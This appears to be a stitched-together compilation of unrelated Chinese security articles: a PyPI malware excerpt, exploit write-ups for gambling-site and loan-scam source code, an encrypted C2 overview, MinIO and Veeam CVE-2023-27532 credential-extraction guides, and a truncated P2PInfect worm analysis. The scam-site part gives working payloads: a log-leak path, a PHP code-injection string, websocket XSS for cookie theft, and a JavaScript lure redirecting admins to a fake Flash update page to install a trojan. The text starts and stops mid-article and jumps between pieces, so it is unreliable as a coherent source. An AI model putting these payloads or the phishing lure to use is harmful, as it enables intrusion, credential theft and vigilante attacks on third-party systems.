在下圖中,攻擊者與Discord API交互,以檢索用戶的好友列表並提取有關他們自己的標識信息。

6.png

用於在Discord上檢索用戶好友列表的代碼

在稍後的代碼中,他們嘗試使用事先準備好的Discord webhook,然後嘗試通過HTTP請求將受害者信息發送到相關的Discord通道。

7.png

Discord webhook

最後,如下圖所示,攻擊者試圖驗證受害者的設備是否適合執行攻擊。如果確定該設備是合適的,則DETECTED變量將被設置為true,並且來自受害者設備的信息將被發送到遠程服務器。

8.png

搜索Cookie的代碼

PyPI作為一個上傳惡意軟件包的便捷平台PyPI是一個備受信賴且廣受歡迎的存儲庫,擁有數量驚人的Python包,在PyPI領域內,出現了一個令人擔憂的現實。該存儲庫無與倫比的受歡迎程度無意中成了攻擊者使用的對象,他們試圖通過秘密傳播惡意軟件包來利用其龐大的用戶群。

這種令人不安的趨勢對安全提出了一個重大挑戰,因為PyPI的去中心化性質使監測和檢測這些惡意對象成為一項艱鉅的工作。成為此類惡意軟件包受害者的後果會對毫無戒心的用戶和企業造成嚴重後果,例如數據、憑證或加密被盜。因此,加強PyPI包的安全性是至關重要的。

PyPI於2023年5月20日宣布,由於平台上惡意活動,惡意用戶和項目的增加,他們暫時停止註冊和上傳新軟件包。

凍結新用戶和項目註冊的決定反映了像PyPI這樣的軟件註冊中心面臨的安全挑戰,因為它們已經成為尋求篡改軟件供應鏈攻擊者的目標。

總結開源軟件的興起和普及以及包管理器的激增,使攻擊者比以往任何時候都更容易將這些危險的包植入用戶的系統。隨著軟件在我們日常生活中越來越普遍,惡意軟件包的威脅變得更加嚴重。攻擊者可以將這些軟件包偽裝成合法軟件,並利用毫無戒心的系統中的漏洞,造成數據盜竊、系統關閉和網絡控制等重大損害。

為了防禦這種威脅,軟件開發人員和組織必須在開發過程中優先考慮軟件安全性。增加了安全措施,例如代碼審查、自動化測試和滲透測試,可以幫助在部署之前識別和修復漏洞。此外,保持最新的安全補丁和更新可以防止攻擊者利用已知的漏洞。

除了技術措施外,提高對軟件安全的認識和教育也有助於防禦惡意軟件包的風險。為開發人員、IT人員和最終用戶提供關於最佳安全實踐的定期培訓很有必要。安全專業人員、開發人員和用戶共同努力以確保識別並防止惡意軟件包對系統和網絡造成損害。

0x00 前言

随着菠菜类违法站点的肆虐,让无数人妻离子散。为此,献上一份微薄之力,希望能给“有关部门”提供一些帮助。今天给大家表演的是收割BC天恒盛达。

0x01 程序介绍

程序采用PHP5.4 + MySQL 程序结构如下

图片


  基本上目前做此类违法站点的不法分子,除了外包以外就是天恒、大发几套程序模改的。暂时,这边由于技术水平上面的问题,只能够发出天恒的。版本可能有点老。但是,一大部分还是用的。经某位不愿透露自己姓名的网友4月中旬实测,大约70%的存在这些问题,而使用这套程序的违法站点经过半个小时的采集大约在5000~20000左右。

0x02 漏洞详情

1、money - SQL注入

web\wjaction\default\PayOnlineBack.class.php

图片


继续跟进money,此处为GET获取,接着看条件

图片


条件展示,第一个为Key验证,这个在配置文件里。如果Key错误则表示所有订单都无法生效。也就是说Key肯定是在URL请求内,这个验证即可绕过。

图片


继续看条件,这里是生成一个MD5值进行校验。但是这种校验是有缺陷的,此处并未把key的值带入进去。所以我们直接提交的时候,把$tno.$payno.$money都设为空。那么我们将获取$md5key的MD5值。因为$sign在URL中能展示出来。解密后,我们再按照他的验证机制就可以写脚本,进行注入了。

图片


往下继续看,交易号随机来就行了。

图片


继续看,最后一个验证。这里的用户名肯定是真实的,所以这里的验证就算是废掉了

图片

接下来,根据前面的分析,就可以注入了。最重要的一点就是猜解出md5Key的值。

2、订单信息 - 存储XSS

订单信息 -> 用户名

图片

在默认支付提交表单的地方,前台and后台未经过滤就导致了XSS存储型漏洞

3、后台无验证 - Getshell

lib/classes/googleChart/markers/GoogleChartMapMarker.php


图片

任意代码执行漏洞,google变量通过GET获取数据接着就执行,比较低级的问题我就不写代码部分了。(此漏洞并不高效,大约30%几率)

0x03 总结

 这套源码不仅仅这几个洞,大家可以练练手自己挖一下。其次本来想着放出来采集未收录违法站点工具的,但是后来想想,避免让“其他”安全人士误入歧途,也就此消除了这个想法。依旧水文一篇,望各位表哥多多指点!


转载于原文链接: https://mp.weixin.qq.com/s/7R3OrGPmUesDz4YKuxoJjw


1、概述在攻防演練期間,經過信息蒐集、打點後,部分攻擊者利用漏洞攻擊、釣魚等方式成功獲得內網資產的控制權,為了保證對失陷資產的持續控制與後續擴大戰果的需要,攻擊者會上傳木馬運行,在失陷資產與外部控制端之間建立持續的通信信道。然而,在企業網絡邊界上通常部署了大量的網絡防護和監測設備,因此,攻擊者為了躲避流量監測設備的發現,會對其使用的命令與控制信道使用各種隱藏手段,如加密、編碼、偽裝、利用隱蔽隧道等。

2、攻防演練場景資產失陷後常見加密流量我們可以將攻防演練場景中,內部資產失陷後常見的加密流量總結為兩大類:正向CC加密通道和反彈CC加密通道。

正向的CC加密通道,主要是HTTP/HTTPS的Webshell連接和正向HTTP隧道代理;反彈CC加密通道包括:TLS/SSL木馬回連以及各種隱蔽隧道通信。

能夠在內外網之間構建加密CC通道的工具有很多,有的工具小巧且專業,能夠搭建某一種加密信道並靈活配置,如:dns2cat,icmptunnel等;有的則具備平台級的強大功能,可以生成具備多種加密隧道的攻擊載荷,如:CobaltStrike,MSF等;另外,還可以組合隧道工具與平台級攻擊載荷在極端條件下實現命令與控制,如:利用代理轉發工具、隧道工具上線CS等,下面是一些攻擊類型與攻擊工具的梳理:

image.png

2.1正向CC加密通道马云惹不起马云 HTTP/HTTPS Webshell連接

通常,針對Web服務的漏洞利用成功後,攻擊者會上傳Webshell,如:冰蠍、哥斯拉、蟻劍等。這些Webshell即能在失陷的Web服務器與攻擊者之間維持命令執行通道,又能用來上傳具有更強大功能的平台級木馬。隨著Web服務的全面加密化,Webshell的通信經過了HTTPS加密,即使能夠解密HTTPS流量,其HTTP載荷中也會經過二次加密和編碼,盡可能不暴露明文特徵,給流量檢測帶來很大挑戰,去年攻防演練第一天更新上線的冰蠍4.0版本,臨時增加可自定義的加密通信方式,給防守方帶來了一波突然襲擊,讓人記憶猶新。

1.png

往期回顧:冰蠍4.0 https://www.viewintech.com/html/articledetails.html?newsId=20

马云惹不起马云HTTP隧道正向代理

當攻擊者想要訪問的內網資產無法出網時,可以通過在失陷的邊界資產搭建HTTP隧道正向代理的方式,中轉訪問內網資產,常見工具包括reDuh,neo-regeorg等,其原理如下圖:

2.png

2.2反彈CC加密通道马云惹不起马云TLS/SSL木馬回連

出入企業網絡邊界最常見的加密協議是TLS/SSL,其廣泛應用於Web服務、郵件服務、文件傳輸、移動APP等應用領域,可以保護用戶通信數據的機密性和完整性。因此,大量攻擊者同樣通過TLS/SSL構建自己的惡意CC加密通信信道,特別是網絡邊界設備通常不對出網的TLS/SSL流量做攔截,失陷資產上的木馬可以通過這種方式將自己的流量混在大量訪問網絡正常應用的TLS/SSL加密流量中,神不知鬼不覺的與外網控制端維持CC通信,這類工具或木馬比較常見的像CobaltStrike、Sliver等,高水平的攻擊者還會使用諸如:域前置、CDN、雲函數等CC隱匿技術,進一步隱藏自己的流量和控制端信息。

3.png

攻擊者在構建真實的TLS/SSL加密CC信道時,由於SSL證書的購買和認證需要填寫真實身份信息,且價格不低,導致攻擊者會傾向於使用免費或自簽名證書,從而為檢測提供線索。於是,有些攻擊者使用Fake TLS或Shadow TLS的技術,利用知名網站的證書將其木馬CC通信的流量偽裝成與白站的通信,再將自己實現的加密通信協議隱藏在TLS/SSL加密載荷中,從而做到逃避檢測。

马云惹不起马云隱蔽隧道

在2022年攻防演練中,我們發現多起利用DNS隧道和ICMP隧道作為隱蔽信道的加密CC通信事件,是最有代表性的隱蔽隧道通信方式。

DNS隧道DNS是互聯網上重要的域名服務,主要用於域名與IP地址的相互轉換,因此,在企業網絡中DNS流量通常不會被防火牆、入侵檢測系統、安全軟件等一般安全策略阻擋。攻擊者利用這一特點使用DNS協議作為內外網之間通信的隱蔽信道,在攻防演練場景下常見的DNS隧道原理大致如下圖所示:

4.png

攻擊者攻陷內網資產後,植入木馬,木馬使用DNS協議中的子域名加密編碼隱藏信息,並發出DNS請求查詢;內網DNS服務器將查詢轉發到互聯網DNS服務器,通常網絡監測設備捕獲的是位於這一段鏈路上的流量;外網DNS服務器經過遞歸查詢重定向到偽造的DNS服務器,解析隱蔽傳輸的信息後利用DNS響應包返回控制命令;DNS響應包穿透網絡邊界最終返回到內網受控資產;受控資產上的木馬解析響應包中的控制命令,繼續後續攻擊動作。

ICMP隧道類似的,ICMP協議作為網絡中傳遞控制信息的常見重要協議,往往限制較少或不加限制,所以攻擊方在攻入內網後也可能使用ICMP協議的載荷數據(Data)部分隱蔽的進行控制指令或竊密數據的傳輸,這些被傳輸的內容大多數進行了加密保護。

5.png

如下圖所示,利用ICMP回顯請求和響應包(PING)載荷隱蔽實現CC通信。

6.png

其他隧道除此以外,利用應用層常見協議HTTP、SSH的隱蔽隧道,利用TCP、UDP載荷實現自定義協議的TCP、UDP隧道,或者支持多種隧道通信的各種代理轉發工具,也是攻擊者較常使用的隱蔽CC通信手段,他們在不同的網絡環境下,都具有穿透網絡邊界隱蔽傳輸數據的能力。在某些內網目標不能出網的環境,攻擊者還可以組合使用各種隱蔽隧道、代理轉發手段,來間接上線CS、MSF木馬,實現遠程控制。

3、總結隨著近年來,加密流量在攻防對抗中的使用頻率越來越高,針對攻防演練場景下的加密流量威脅,特別是資產失陷後的加密CC通信的檢測,可以說是守護企業網絡的最後一道防線。觀成科技多年來專注於加密流量威脅檢測技術研究,形成了一套綜合利用多模型機器學習、指紋檢測、行為檢測、加密威脅情報的解決方案,對各種不同類型的加密威脅進行有針對性的檢測。在2022年的攻防演練中,觀成瞰雲-加密威脅智能檢測系統首次參與即有亮眼發揮,多次獨家檢出攻擊失陷階段的加密CC通信行為,做到及時發現,及時預警,為客戶最大程度減少損失做出貢獻。

7.png

0x00 前言本文將要介紹Minio版本探測的方法,通過Python實現自動化,記錄開發細節,開源代碼。

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

開源代碼

0x02 基礎知識MinIO是一款基於Go語言發開的高性能、分佈式的對象存儲系統。 Minio可以做為雲存儲的解決方案用來保存海量的圖片,視頻,文檔。由於採用Go語言實現,服務端可以工作在Windows,Linux, OS X 和FreeBSD上,並且只需要單獨的可執行程序就可以運行。

在Windows上的環境搭建可參考:https://min.io/docs/minio/windows/index.html

1.下載最新版本:https://dl.min.io/server/minio/release/windows-amd64/minio.exe

歷史版本:https://dl.min.io/server/minio/release/windows-amd64/archive/

歷史版本在下載後將文件後綴名添加.exe,運行即可

2.啟動服務命令行參數:minio.exe server C:\minio --console-address :9090

3.Web訪問URL地址:http://127.0.0.1:9090

默認用戶名:minioadmin

默認口令:minioadmin

0x03 實現思路Minio的版本探測需要登錄到Web後台

訪問位置:Health頁面,如下圖

下载.png

從頁面中可以看到當前版本以及節點和存儲的信息

在程序實現上,我們可以通過抓包的方式分析認證過程,具體內容如下:

1.登錄訪問地址:http://127.0.0.1:9090/api/v1/login

通過json格式傳入認證信息,具體內容如下:

微信截图_20230404144856.png

登錄成功後返回狀態碼204,在Header中添加Cookie: token=xxxx作為憑據

2.讀取版本信息訪問地址:http://127.0.0.1:9090/api/v1/admin/info

需要帶有Cookie: token=xxxx作為憑據

返回結果為json格式,如下圖

下载 (1).png

補充:獲得Minio的最新版本訪問地址:http://127.0.0.1:9090/api/v1/check-version

0x04 實現細節1.登錄這裡需要考慮一個問題:默認端口被修改的情況

在用程序實現自動化時,通常會使用端口9000,但存在端口被修改為9001的情況,也存在很少一部分將端口修改為其他不常見的端口

如果端口錯誤,會返回狀態碼400,返回內容示例:

1.png

所以在程序實現上這裡可以添加一個判斷:當使用默認端口9000時,如果返回特定條件,提示端口錯誤,接下來嘗試端口9001,如果再次失敗,提示修改默認端口

完整示例代碼:

2.png 3.png

2.讀取版本信息返回結果為json格式,結果示例:

4.png這裡存在多個servers的情況,所以在解析時需要使用遍歷,示例代碼如下:

微信截图_20230404145258.png

0x05 開源代碼完整的實現代碼已上傳至github,地址如下:https://github.com/3gstudent/Homework-of-Python/blob/master/MinIO_GetVersion.py

代碼支持以下兩種命令:

getversin:用來獲得版本信息

getinfo:用來獲得完整信息

0x06 小結本文介紹了Minio版本探測的方法,結合實際環境介紹了通過Python開發的細節,開源代碼。

0x00 前言本文以CVE-2023-27532為例,介紹Veeam Backup Replication漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容:

環境搭建

調試環境搭建

數據庫憑據提取

CVE-2023-27532簡要分析

0x02 環境搭建1.軟件安裝安裝文檔:https://helpcenter.veeam.com/archive/backup/110/vsphere/install_vbr.html

軟件下載地址:https://www.veeam.com/download-version.html

License申請地址:https://www.veeam.com/smb-vmware-hyper-v-essentials-download.html

下載得到iso文件,安裝時需要使用郵箱獲得的License文件

2.默認目錄安裝目錄:C:\Program Files\Veeam\

日誌路徑:C:\ProgramData\Veeam\Backup

3.默認端口Veeam.Backup.Service ports: 9392,9401(SSL)

Veeam.Backup.ConfigurationService port: 9380

Veeam.Backup.CatalogDataService port: 9393

Veeam.Backup.EnterpriseService port:9394

Web UI ports: 9080,9443(SSL)

RESTful API ports: 9399,9398(SSL)

0x03 調試環境搭建1.定位進程執行命令:netstat -ano |findstr 9401

返回結果:

微信截图_20230404142903.png

定位到進程pid為7132,進程名稱為Veeam.Backup.Service.exe

使用dnSpy Attach到進程Veeam.Backup.Service.exe

2.調試設置為了在Debug過程中能夠查看變量內容,需要創建以下文件:

C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.ini

C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.DBManager.ini

C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.ServiceLib.ini

C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Interaction.MountService.ini

內容為:

2.png0x04 數據庫憑據提取1.獲得數據庫連接配置(1)獲得數據庫連接端口

打開SQL Server 2016 Configuration Manager,選擇SQL Server Services,可以看到SQL Server(VEEAMSQL2016)對應的Process ID為1756,如下圖

1.png查看進程對應的端口:netstat -ano|findstr 1756

返回結果:

3.png

得到連接端口49720

(2)獲得數據庫名稱

方法1:

進入Configuration Database Connection Settings,在頁面中可以看到Database name為VeeamBackup,認證方式為Windows Authentication,如下圖

下载.png

方法2:

讀取註冊表鍵值:REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Veeam\Veeam Backup and Replication' /v SqlDatabaseName

2.數據庫連接(1)使用界面程序

這裡使用DbSchema

選擇SqlServer,配置如下圖

3.png

成功連接如下圖

下载 (1).png

數據庫選擇VeeamBackup.dbo,進入數據庫頁面,全局搜索關鍵詞password,得到相關的查詢語句:

4.png執行後獲得數據庫存儲的憑據信息,如下圖

下载 (2).png

(2)使用Powershell

參考資料:https://github.com/sadshade/veeam-creds

veeam-creds在Veeam Backup and Replication 11及更高版本測試時會報錯,提示:

5.png

這是因為https://github.com/sadshade/veeam-creds/blob/main/Veeam-Get-Creds.ps1#L32處使用了sqloledb,當前系統的sqloledb已經過期

這裡可以選擇使用MSOLEDBSQL或MSOLEDBSQL19解決

查看當前系統是否安裝MSOLEDBSQL或MSOLEDBSQL19的Powershell命令:(New-Object System.Data.OleDb.OleDbEnumerator).GetElements() | select SOURCES_NAME, SOURCES_DESCRIPTION

返回結果示例:

6.png

以上結果顯示當前系統安裝了MSOLEDBSQL19,所以只需要將sqloledb替換為MSOLEDBSQL19即可

補充:安裝MSOLEDBSQL或MSOLEDBSQL19的方法下載地址:https://learn.microsoft.com/en-us/sql/connect/oledb/download-oledb-driver-for-sql-server?source=recommendationsview=sql-server-ver16

命令行安裝方法:msiexec /i msoledbsql.msi /qn IACCEPTMSOLEDBSQLLICENSETERMS=YES

安裝前需要滿足Microsoft Visual C++ Redistributable版本最低為14.34

查看Microsoft Visual C++ Redistributable版本的簡單方法:

通過文件夾名稱獲得:dir /o:-d 'C:\ProgramData\Package Cache'

返回結果示例:

7.png

從中可以得出Microsoft Visual C++ Redistributable版本為14.29.30037,需要安裝更高版本的Microsoft Visual C++ Redistributable,下載地址:https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170

x86和x64均需要安裝,veeam-creds運行成功如下圖

下载 (3).png

0x05 CVE-2023-27532簡要分析Y4er公佈了調用CredentialsDbScopeGetAllCreds獲得明文憑據的POC:https://y4er.com/posts/cve-2023-27532-veeam-backup-replication-leaked-credentials/

1.憑據位置此處的明文憑據對應的位置為:Veeam Backup Replication Console-Manage Credentials,默認明文口令為空,如下圖

4.png調試斷點位置為Veeam.Backup.DBManager.dll-CCredentialsDbScope,如下圖

下载 (4).png

2.數據解析POC最終的返回結果為序列化之後的xml,將ParamValue作Base64解密後可以看到明文數據,但是格式不對,存在亂碼

這裡可以調用Veeam自帶的dll反序列化數據,得到正確的格式

格式化輸出字符串的代碼示例:

8.png

需要引用dll文件:

Veeam.Backup.Common.dll

Veeam.Backup.Configuration.dll

Veeam.Backup.Interaction.MountService.dll

Veeam.Backup.Logging.dll

Veeam.Backup.Model.dll

Veeam.Backup.Serialization.dll

Veeam.TimeMachine.Tool.dll

編譯生成的文件需要在本地安裝Veeam的環境下使用,否則報錯提示:

9.png 10.png

程序成功執行的結果示例如下圖

5.png0x06 小結本文以CVE-2023-27532為例,介紹搭建Veeam Backup Replication漏洞調試環境的相關問題和解決方法。

0x00 概述

  某天,一位网上朋友告诉笔者,他被骗了。被骗方式很独特,因为自己没钱所以选择贷款,在贷款过程中惨遭诈骗。
  诈骗短信:
图片

  0x01诈骗过程

(此处受害者用小辉代替)
   某日,小辉手机收到一条关于网络贷款的短信,恰逢月底,捉襟见肘,小辉没忍住诱惑下载打开了app。注册好账号,填写好身份证号、手持、工作地点、家人信息等后申请了20000元贷款,但是迟迟没到账,小辉询问客服得知:亲,这边申请贷款需要先缴纳688的VIP费用哦,缴纳后VIP费用会连同贷款金额一起打款到您的银行卡账户。小辉想了想,也不亏,于是将下个月房租开通了VIP待遇。
    小辉开通了VIP待遇,以为就能顺利贷款度过月底,但是还是没收到贷款金额以及VIP费用。这次客服主动联系小辉,"您的信用额度不够,需要再刷流水3500元,请缴纳现金证明还款能力,缴纳后费用会连同贷款金额一起打款到您的银行卡账户"。
    小辉急了,眼看着下个月房租没着落了,咬咬牙找朋友借了3500元再次打给客服提供的银行卡号,心想,这次你总没什么借口了吧!20000块钱,拿来吧你!小辉已经想好贷款下来两万块如何吃喝玩乐了~~~
    可是幸运女神还是没有照顾小辉,客服再次联系小辉,称已经审批成功即将下款,但是还需要支付3000的工本费用,且费用会连同贷款金额一起打款到银行卡账户,小辉傻眼了,紧接着,客服将后台生成的虚假的合同发送给了小辉。

图片    

小辉急了,自己就贷款而已,却损失了几千块钱还要上征信,关键贷款的钱还没到手!小辉眼看着事情越闹越大,找到了我,经过小辉的一番描述,我查看了小辉手机上的贷款软件,无奈的告诉小辉,你被骗了,钱要不回来了。小辉此刻也愣住了,流下来悔恨的泪水......

ps:以上仅为诈骗真实过程,所有细节旁白均为本人添油加醋。笔者也就此对市面上两款常见诈骗源码进行简单分析并将其记录。

0x02 漏洞分析

1.第一套源码漏洞分析

 (1) Thinkphp日志泄漏

图片
基于Thinkphp3.2.3开发,前后台分离
图片
默认开启Debug、导致泄漏日志SQL信息、异常缓存
图片构造Payload:App/Runtime/Logs/21_10_16.log

图片

获取泄漏的admin表账号密码,进入后台
图片
图片

(2) 数组可控导致RCE

可上传文件名被直接带入数据包中
图片
此处猜测后端将文件名以数组的方式进行控制(在拿到webshell后也证明了这个猜想是正确的)
将可上传的文件名加入php,随后上传拿到Webshell
查看对应配置文件,发现可上传后缀名是在数组当中,此处还可以利用插入闭合数组进行Getshell
图片
payload:siteName=11111').phpinfo();//


图片
来看看后端如何处理的,因为return array的原因 必须加上字符串连接符"."
图片
再登陆后台查看Payload是否执行
图片

2.第二套源码漏洞分析

(1)客服处Websocket-XSS

笔者能力有限,第二套诈骗贷款源码疑似一键搭建,均采用最新版宝塔+宝塔免费版WAF,在权限获取方面不足,转而向客服处寻找突破点
前台:
图片
找到客服入口,上传图片,会转到通过websocket上传的数据包
修改websocket数据包,构造XSS
图片
图片
Cookie Get
图片

三.客服系统控制/PC控制

3.1控制数据库

登陆mysql数据库查看诈骗嫌疑人登陆IP
图片
杭州的电信基站动态IP,判断是家庭路由,暂无溯源价值。
图片

0x03 控制客服系统

第一套诈骗源码的客服系统使用的是网上在线客服系统
图片
在后台翻到了客服的后台登陆地址,前端显示账号存在or密码错误,无奈账号没爆破成功。
图片
随即笔者自己注册了该客服系统,通过adminid配合uid遍历SetCookie,越权成功,拿到客服账号。

图片


中文账号==
图片
爆破拿到密码
图片
登陆客服后台
整个诈骗话术链
图片
与受害人聊天记录


图片
图片

0x04 使用flash钓鱼

在控制诈骗app服务器权限后,笔者使用flash钓鱼试图控制诈骗团伙个人PC。
在后台登陆成功后跳转的文件插入跳转js 跳转到事先准备好的假的flash更新页面
事先准备:免杀马一只 flash假域名一个(最好是包含有"flash"的字样)

<script>window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display="none";iframe.setAttribute("src", 'data:text/plain,');document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);};alert("您的FLASH版本过低,请尝试升级后访问改页面!");window.location.href="https://www.flashxxxx.com";</script>

效果:
输入账号密码后登录,此时加载以上JavaScript。
图片
点击"确认"跳转到事先伪造的flash更新页面网站,诱导下载点击。
图片
但是最后并未上线,通过日志发现诈骗团伙是登陆了该后台的,此处也算是一个小遗憾。

0x05 总结

    网贷诈骗类案件的典型特征是,犯罪嫌疑人以“无抵押无审核”为噱头招揽需要贷款的被害人,并以“账户冻结需做解冻”才能完成放款等名义收取保证金,又以保险费、激活费、服务费等名义再次收费。被害人为了收回之前缴纳的钱款,只能按照犯罪嫌疑人为被害人设计的整个流程,完成转款,导致被害人钱款被骗。一些急需用钱的个体经营者、消费观念超前的上班族、大学生等人群是易受骗群体。
    诈骗者不仅仅将罪恶之手伸向了香港、台湾,甚至是国外......
    据分析,这群诈骗团伙在巴西也进行了相同方式的诈骗,且使用的诈骗源码为以上分析第一套源码。

图片500余名巴西受害者。

图片

图片

    天网恢恢,疏而不漏!所有行恶之人必将受到法律之严惩!





转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247502166&idx=1&sn=3fe78999b5b43a059e66975dd185b3cc&chksm=ce6463cff913ead9c3a448d7466b7c38ed593a709918265283387ad4bb787292bdd2979e7d64&scene=21#wechat_redirecthttps://xz.aliyun.com/t/10391

2023年7月11日,Unit 42研究人員發現了一種新的對等(P2P)蠕蟲,研究人員將其稱之為P2PInfect。對等網絡,即對等計算機網絡,是一種在對等者(Peer)之間分配任務和工作負載的分佈式應用架構,是對等計算模型在應用層形成的一種組網或網絡形式。 “Peer”在英語裡有“對等者、夥伴、對端”的意義。因此,從字面上,P2P(Peer-to-peer)可以理解為對等計算或對等網絡。該蠕蟲使用Rust編寫,Rust是一種高度可擴展且對雲友好的編程語言,能夠跨平台攻擊,並針對Redis,這是一種在雲環境中大量使用的流行開源數據庫應用程序。

Redis實例可以在Linux和Windows操作系統上運行。 Unit 42的研究人員在過去兩週內發現了超過30.7萬個公開通信的獨特Redis系統,其中934個可能容易受到這種P2P蠕蟲變體的攻擊。雖然並非所有Redis實例都會受到攻擊,但蠕蟲仍然會以這些系統為目標並試圖進行攻擊。

P2PInfect蠕蟲通過利用Lua沙盒逃逸漏洞CVE-2022-0543攻擊易受攻擊的Redis實例。雖然該漏洞於2022年被披露,但目前尚不完全清楚其攻擊範圍和目標。然而,它的CVSS得分10.0。此外,P2PInfect利用Redis服務器在Linux和Windows操作系統上運行的優勢,比其他惡意軟件更具可擴展性。 Unit 42研究人員觀察到的P2P蠕蟲是攻擊者利用該漏洞進行嚴重攻擊的一個示例。

P2PInfect利用CVE-2022-0543進行初始訪問,然後釋放建立P2P通信的初始有效負載。一旦建立了P2P連接,蠕蟲就會刪除其他惡意二進製文件,如操作系統特定的腳本和掃描軟件。然後,受攻擊的實例加入P2P網絡,以向未來受攻擊的Redis實例提供對其他有效負載的訪問。

以這種方式利用CVE-2022-0543使P2PInfect蠕蟲在雲容器環境中更有效地運行和傳播。 Unit 42的研究人員就是在HoneyCloud環境中發現蠕蟲的,因為它攻擊了HoneyCloud環境中的Redis容器實例,HoneyCloud是一組蜜罐,用來識別和研究跨公共雲環境的新型基於雲的攻擊。研究人員認為,這次P2P攻擊活動是利用這種強大的P2P命令和控制(C2)網絡的潛在更強大的攻擊的第一階段。 P2PInfect的惡意工具包中存在“挖礦”功能。然而,研究人員沒有發現任何確切的證據表明曾經發生過挖礦。此外,P2P網絡似乎擁有多種C2功能,如“自動更新”,這將允許P2P網絡的控制器將新的有效負載推送到網絡中,從而改變和增強任何惡意操作的性能。

Unit 42於2023年7月11日使用Palo Alto Networks的HoneyCloud環境發現了第一個已知的P2PInfect實例,這是一組蜜罐。

P2PInfect蠕蟲使用P2P網絡來支持和促進惡意二進製文件的傳輸。我們之所以選擇這個名稱,是因為術語P2PInfect出現在洩露的符號中,反映了惡意軟件的結構,如下圖所示。

1.png

Windows版本、名稱和Redis模塊的建構

所有收集到的P2P蠕蟲樣本都是用Rust編寫的,Rust是一種高度可擴展且對雲友好的編程語言。這使得蠕蟲能夠針對Linux和Windows操作系統上的Redis實例進行跨平台攻擊,請注意,Redis不正式支持Windows操作系統。

該蠕蟲使用CVE-2022-0543攻擊Redis。針對該特定漏洞的首次攻擊於2022年3月被發現,導致受攻擊的Redis實例可能與Muhstik殭屍網絡有關。然而,P2PInfect蠕蟲似乎與另一個惡意網絡有關,目前還不知道與Muhstik殭屍網絡是否有關。

通過利用Lua漏洞進行初始攻擊後,執行初始有效負載,該初始有效負載建立與更大的C2殭屍網絡的P2P通信,該殭屍網絡充當P2P網絡,用於向未來攻擊的Redis實例傳播其他有效負載。一旦建立了P2P連接,蠕蟲就會傳播額外的有效負載,例如掃描儀。然後,新攻擊的實例加入P2P網絡的行列,為未來受攻擊的Redis實例提供掃描有效負載。

P2PInfect利用CVE-2022-0543在雲容器環境中實施攻擊。容器的功能減少了,例如,取消了“cron”服務。許多利用Redis的蠕蟲使用cron服務實現遠程代碼執行(RCE)。 P2PInfect結合了CVE-2022-0543的漏洞,旨在覆蓋盡可能多的易受攻擊場景,包括雲容器環境。

由於P2PInfect蠕蟲是新發現的,我們在這裡重點進行樣本分析及其支持的P2P架構。

利用CVE-2022-0543P2PInfect目前利用Lua沙盒逃逸漏洞CVE-2022-0543進行初始訪問。此漏洞已在Muhstik和Redigo等以前的攻擊中被使用,這兩種攻擊都導致受攻擊的Redis實例參與針對其他系統的拒絕服務(DoS)、Flooding攻擊和暴力攻擊。

這種利用向量遵循與之前所看到的類似的模式。然而,P2PInfect的漏洞利用後操作與以前使用該漏洞的操作有很大不同。需要注意的是,此漏洞不是Redis應用程序漏洞,而是Lua沙盒漏洞。

雖然這個活動確實針對易受攻擊的Redis實例並執行類似蠕蟲的操作,但與其他已知的以Redis為目標並部署蠕蟲的組織沒有已知的聯繫,例如Automated Libra(又名PurpleUrchin), Adept Libra(又名TeamTNT), Thief Libra(又名WatchDog), Money Libra(又名Kinsing), Aged Libra(又名Rocke)或Returned Libra(又名8220)。

P2PInfect如何利用CVE-2022-0543攻擊易受攻擊的Redis實例P2PInfect蠕蟲的初始攻擊媒介就是通過CVE-2022-0543利用Redis,這在已知的以Redis實例為目標的其他以加密劫持為任務的蠕蟲中並不常見,例如Adept Libra(又名TeamTnT)、Thief Libra(別名WatchDog)、Money Libra(又稱Kinsing)。

CVE-2022-0543是Lua庫中的一個漏洞,與Debian Linux包管理打包和傳播Redis的方式有關。因此,它只影響使用Debian的Redis用戶。由於專注於操作系統並利用Redis的一個子組件進行攻擊,P2PInfect的攻擊因此很複雜。下圖是捕獲的CVE-2022-0543漏洞的一個示例。

2.png

Debian操作系統上的P2PInfect漏洞利用示例

如上圖所示,可以看到漏洞是如何被攻擊者利用的。通過/dev/tcp使用網絡請求,如第四行所示,攻擊者通過端口60100連接到一個C2 IP地址,寫入IP cnc。端口60100是P2PInfect用於維護C2通信的P2P通信端口之一。第四行中的初始有效負載將GET請求設置到目錄/linux,該目錄是維護P2PInfect蠕蟲核心功能的主要滴管。其他二進製文件分佈在P2P網絡中。

網絡通信行為P2PInfect使用其P2P網絡向新攻擊的系統或云傳播後續惡意軟件。當系統首次受到攻擊時,它將建立到P2P網絡的連接,並下載要使用的自定義協議的樣本。如下圖所示,命令GET/linux之後是核心P2PInfect功能的映像下載。

3.png

顯示P2PInfect下載的網絡通信協議

Linux和Windows操作系統P2PInfect示例以相同的方式進行通信。 linux、miner、winminer和windows以明文形式從P2P網絡下載。

4.png

從P2P網絡中提取的惡意軟件樣本的列表

一旦核心P2PInfect樣本完成執行,有效負載將開始掃描其他主機以進行攻擊。掃描的重點是暴露的Redis主機。然而,研究人員還發現,受攻擊的Redis實例也會在端口22 SSH上執行掃描嘗試。由於P2PInfect沒有已知的攻擊SSH的企圖,目前還不清楚為什麼會發生這種掃描操作,但端口22在被其他已知蠕蟲攻擊後被掃描並不罕見。

節點通信主滴管使用TLS 1.3與當前已配置節點列表上的任何其他偵聽P2P成員進行通信。當受攻擊節點向P2P網絡發送具有所有已知節點的json請求時,C2基礎設施被更新。 C2基礎設施的更新將自動下載。節點更新的示例如下圖所示。

5.png

P2P節點更新

帶有x.x.x.x的值是當前節點IP或新學習的節點。

掃描行為下圖展示了受攻擊主機掃描暴露SSH實例的網絡掃描過程。這些掃描操作發生在P2PInfect功能選擇的隨機網絡範圍內。

6.png

掃描SSH實例

